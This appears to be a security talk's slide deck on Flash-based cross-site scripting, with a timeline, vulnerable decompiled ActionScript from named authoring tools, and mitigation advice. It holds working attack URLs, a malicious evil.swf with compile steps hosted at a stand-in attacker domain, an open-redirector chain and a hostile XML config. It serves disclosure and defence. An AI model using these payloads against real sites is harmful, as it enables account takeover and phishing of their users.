



# Common Flash XSS Vulnerabilities

With examples from Flash authoring tools

Rich Cannings

Google Security Team

- Past and Present
- Web Security and Getting Around It
  - Cross Site Scripting
  - Flash and ActionScript
  - Flash hacking tools
- Finding Flash XSS
  - `asfunction:` based XSS and Techsmith Camtasia
  - `getURL( )` based XSS and Autodemo
  - Cross Site Flashing
    - Basic and Adobe Dreamweaver
    - via `htmlText` and InfoSoft Fusion Charts
    - via configuration files and undisclosed
- Preventing Flash XSS

- Summer 2002
  - Obscure describes how Flash can cause XSS
- Spring 2003
  - Scan Security Wire releases Flash `getURL( )` based XSS
- Spring 2007
  - Stefano Di Paola releases extensive research including new work on Cross Site Flashing and `asfunction:` based XSS
  - “I don't see anything cool about it, other than things we already knew.” - Ronald on [sla.ckers.org](http://sla.ckers.org)
- Summer 2007
  - I adapted these techniques for custom and automatically generated Flash applications (SWFs)
  - I notified vendors in July, August and early September
- December 2007
  - Book release made us go partially public
  - Flash Player 9,0,0,115 released, fixing `asfunction:` based XSS

- Still feels awfully like 2002
  - Lots of vulnerabilities
  - Few understand
  - Uncertainty as to who should fix the issue: Flash Player or Flash Developers?

- Flash users are common
  - 99.3% of web users have Flash Player Plugin installed
  - More market share than Internet Explorer or Firefox
- Flash applications (SWFs) are common
  - Not just cute animations
  - Uses ActionScript – a Turing complete language
  - Many authoring tools automatically generate Flash files
    - Low effort, high yield attacks
  - Applications “Save as SWF”
- Insecure Flash applications are common
  - >500,000 Flash based XSSs exist
  - On popular webmail, social networking, and banking sites
  - Authoring tools automatically inject vulnerable code
    - Including many tools from Adobe/Macromedia
  - Flash based marketing material can compromise important web applications

# Web Security and Getting Around It

Flash, Flash hacking tools, JavaScript and the Same Origin Policy



- Circumvents the Same Origin Policy
  - One of the only web application security controls on the browser
- Attacks users of the vulnerable web application
  - Users must be lured to explicitly or implicitly click on an attack URL
  - The attacker will be able to mimic the user to the web app
    - Worms, bank transactions, ...
  - The attacker will be able to mimic the web app to the user
    - Phishing attacks, ...
- Often overrated and poorly understood
  - Many XSSs beat out remote code execution bugs in “Best Web Hacks of 2007”?
  - Should be taken seriously for popular web applications
  - Taken very seriously by Google
  - Should we care if there is an XSS on [www.fbi.gov](http://www.fbi.gov)?

- Flash is a platform for highly interactive web applications
  - Runs Shockwave Flash files (SWFs)
    - Also known as a Flash movie or a Flash application
  - Not just for cute animations
  - Includes a Turing complete JavaScript-like language: ActionScript
- SWFs execute ActionScript that executes JavaScript
  - `getURL("javascript:alert(1)");`
- SWFs can perform somewhat controlled cross-domain communication
  - `crossdomain.xml`



- As2JsBridge.as

```
class ActionScriptToJavaScriptBridge {  
  
    static function main(movieClip) {  
  
        getUrl("javascript:alert('Certified Flash developer!')");  
  
    }  
  
}
```

- Build and release
  - Compile via: `mtasc -swf As2JsBridge.swf -main -header 10:10:10 As2JsBridge.as`
  - Deploy at <http://good.com/As2JsBridge.swf>

- Learn ActionScript
  - Very similar to JavaScript
- Write simple attack applications and compile with MTASC
- Decompile Flash with no|wrap's Flare
- Read Flash source with Source Insight, VIM, ...
- Test SWFs offline
  - Download Flash and attack it locally
- And now... automatically test SWFs with Stefano Di Paola's SWFIntruder

- JavaScript within SWFs execute on different domains depending on how the SWFs are loaded
  - SWFs loaded from `<object>` or `<embed>` tags
    - If `http://good.com/good.html` loads `http://evil.com/evil.swf` via an object or embed tag, then JavaScript in `evil.swf` is executed on the `good.com` domain
  - SWFs loading SWFs
    - If `http://good.com/good.swf` loads `http://evil.com/evil.swf`, then JavaScript in `evil.swf` executes on `good.com`
  - SWFs loaded directly
    - JavaScript executes in the domain hosting the SWF
- User Input and Flash
  - URL parameters become variables
  - `http://good.com/good.swf?x=y` becomes `_root.x == "y"`, `_level0.x == "y"`, and in some scope `x == "y"`

# asfunction: based XSS

Example by Techsmith Camtasia

- `asfunction:` is a protocol handler in Flash that executes ActionScript from a URL
  - similar to `javascript:` in browsers
- “Bad” user input into *any* ActionScript method loading URLs lead to XSS
  - “Bad” meaning URLs with the `asfunction:` protocol handler
  - Input definable by the user, but not necessarily intended as such
- Many Flash authoring tools use vulnerable controller SWFs or generate vulnerable SWFs
  - Adobe Dreamweaver, Contribute, Connect
  - Macromedia/Adobe Breeze
  - InfoSoft FusionCharts
  - Techsmith Camtasia
  - and many more...
- Fixed in Flash Player 9,0,0,115 (December, 17 2007)
  - Did not fix XSS in any of the above products

- Source

```
if (csConfigFile == undefined) {  
    csConfigFile = trimURI(csConfigFileDefault);  
}  
container.init(csConfigFile, preloader_mc);  
v2.init = function (file, ploder) {  
    ...  
    this.loadXML(file); // calls XML.load(file)  
}
```

- Attack URL

[http://good.com/good\\_controller.swf?csConfigFile=asfunction:getURL,javascript:alert\(1\)](http://good.com/good_controller.swf?csConfigFile=asfunction:getURL,javascript:alert(1))

- Browser gets

javascript:alert(1)

# getURL( ) based XSS

Example by Autodemo



- “Bad” user input placed in `getURL( )` leads to XSS
  - “Bad” meaning poorly validated or poorly sanitised user input
  - Input that *can* be defined by the user, but not necessarily intended to be
- Very common design pattern in custom Flash applications
  - Used for Flash to JavaScript/DOM/HTML communication



# getURL( ) based XSS in Autodemo

---



- Decompiled source for control.swf

```
if (_global.IN_BROWSER) {  
    if (!is_empty(_level0.onend)) {  
        getURL(_level0.onend, '');  
    }  
}
```

- Attack URL

[http://good.com/control.swf?onend=javascript:alert\(1\)](http://good.com/control.swf?onend=javascript:alert(1))

- Browser gets

javascript:alert(1)

# Advanced `getURL()` based XSS

---



- Source

```
getURL("javascript:someCallback('"  
    + escape(_root.userDefinable)  
    + "' );");
```

- Attack URL

```
http://good.com/good.swf?userDefinable=');function%20someCallback(a){}alert(1)//
```

- Browser gets

```
javascript:someCallback('');  
  
function someCallback(a){}  
  
alert(1)  
  
//');
```



- “Bad” input in image, movie and sound loading functions lead to XSS
  - “Bad” meaning URLs to SWFs of the attacker's choice
  - `loadMovie()`, `loadMovieNum()`, `play()`, `loadSound()`, ...
- Images, movies (SWFs) and sounds are treated alike in Flash
  - If a SWF loads a sound and gets a SWF, it executes the SWF
- Common design pattern in Flash
- Flash authoring tools use vulnerable controller SWFs or generate vulnerable SWFs
  - Adobe Dreamweaver, Contribute, Connect
  - Macromedia Breeze
  - InfoSoft FusionCharts
  - Techsmith Camtasia
  - and more...
- Adobe considers this a flaw in the authoring tools and not Flash Player
  - Many sites still at risk

# Cross Site Flashing: Evil SWF

---



- Create an evil SWF to load
- Source for evil.as

```
class Evil {  
  
    static function main(mc) {  
  
        getURL("javascript:alert(1)");  
  
    }  
  
}
```

- Build and release
  - Compile via: `mtasc -swf evil.swf -main -header 10:10:10 evil.as`
  - Deploy at <http://evil.com/evil.swf>
  - Add an insecure Flash security policy at <http://evil.com/crossdomain.xml>

- Decompiled source for FLVPlayer\_Progressive.swf

```
this.m_uiManager.loadSkin(this.m_args.skinName,  
  
    this.m_args.isLive, this.m_args.isFullScreen);  
  
v2.loadSkin = function (p_skin, p_isLive) {  
  
    this.m_skin.loadMovie(p_skin + '.swf');
```

- Attack URL

[http://good.com/FLVPlayer\\_Progressive.swf?skinName=http://evil.com/evil](http://good.com/FLVPlayer_Progressive.swf?skinName=http://evil.com/evil)

- What Happens
  - [http://good.com/FLVPlayer\\_Progressive.swf](http://good.com/FLVPlayer_Progressive.swf) loads <http://evil.com/evil>
  - JavaScript in evil.swf executes on the good.com domain

- Assume good.com has an open redirector
- Source

```
_root.loadMovie("http://good.com/videos/"  
  
    + _root.userDefinable + "-something.swf");
```

- Attack URL

[http://good.com/good.swf?userDefinable=../open\\_redirector%3Furl%3Dhttp://evil.com/evil.swf%3F-something.swf](http://good.com/good.swf?userDefinable=../open_redirector%3Furl%3Dhttp://evil.com/evil.swf%3F-something.swf)

- What happens
  - Flash tries to load [http://good.com/open\\_redirector?url=http://evil.com/evil.swf%3F-something.swf](http://good.com/open_redirector?url=http://evil.com/evil.swf%3F-something.swf)
  - good.com redirects to <http://evil.com/evil.swf?-something.swf>
  - Flash loads the evil.swf movie

# Cross Site Flashing via `htmlText`

Example by FusionCharts



- Flash has a rudimentary HTML parser accessible through `TextArea` and `TextField` classes
- “Bad” user input in `TextArea.htmlText` or `TextField.htmlText` leads to XSS
  - Bad meaning ``
- Only works when `TextArea.html=true` or `TextField.html=true`
- Not very common

- Source

```
function loadData() {  
    if (isDataURLProvided()) {  
        chart.log('dataURL provided', '<A HREF=\'\' + rootAttr.dataurl  
            + \'\' target=\'_blank\'>' + rootAttr.dataurl + '</A>',  
            com.fusioncharts.helper.Logger.LEVEL.LINK);  
    }  
}
```

- Attack URL

`http://good.com/Example.swf?debugMode=1&dataURL=%27%3E%3Cimg+src%3D%22http%3A//evil.com/evil.swf%3F.jpg%22%3E`

- What Happens

- Flash renders `<A HREF=' '>' target...`
- Flash loads evil.swf and instantiates it.

# Cross Site Flashing via Configuration Files

---



# Cross Site Flashing via configuration files

---



- Flash Applications sometimes load XML configuration files and use data within the files to
  - load SWFs
  - insert HTML
- “Bad” user definable input can for the flash app to load a malicious configuration file and perform Cross Site Flashing
  - `http://good.com/xxxxxx.swf?baseurl=http://evil.com/`
  - At `http://evil.com/data/xxxxxx.xml`:

```
<slides>
```

```
<slide id="1" type="normal">
```

```
<content url="evil.swf"/>
```

- Found in an undisclosed Flash authoring tool and custom Flash applications
  - Notified Vendor on December 3



- Users
  - Upgrade to the latest Flash Player
- Webmasters
  - Host unaudited SWFs on a different domain or numbered IP address
    - Still susceptible to phishing attacks
  - Follow vendors' recommendations to update authoring tools, reload and resave old projects
- Flash developers
  - Whitelist protocol handlers to prevent `asfunction:` based attacks
    - Accept http and https only
  - Whitelist characters when using user definable input in `getURL( )`
    - Beware of `escape( )`
  - Encode user definable data in `htmlText`
    - URL encode or HTML entity encode depending on context
  - Close open redirectors
  - Whitelist domains from which to load SWFs, sounds and images

- Thanks to
  - Stefano Di Paola
  - The Google Security Team
  - iSEC Partners and McGraw-Hill
- More Information
  - Stefano's talk slides on Flash XSS at <http://www.wisec.it/sectou.php?id=464dd35c8c5ad>
  - My report on XSS in authoring tool and design patterns at [http://docs.google.com/View?docid=ajfxntc4dmsq\\_14dt57ssdw](http://docs.google.com/View?docid=ajfxntc4dmsq_14dt57ssdw)
  - *Hacking Exposed Web 2.0 Web 2.0 Security Secrets and Solutions*
  - Adobe's *Creating More Secure SWF Applications* at [http://www.adobe.com/devnet/flashplayer/articles/secure\\_swf\\_a](http://www.adobe.com/devnet/flashplayer/articles/secure_swf_a)
- Questions?

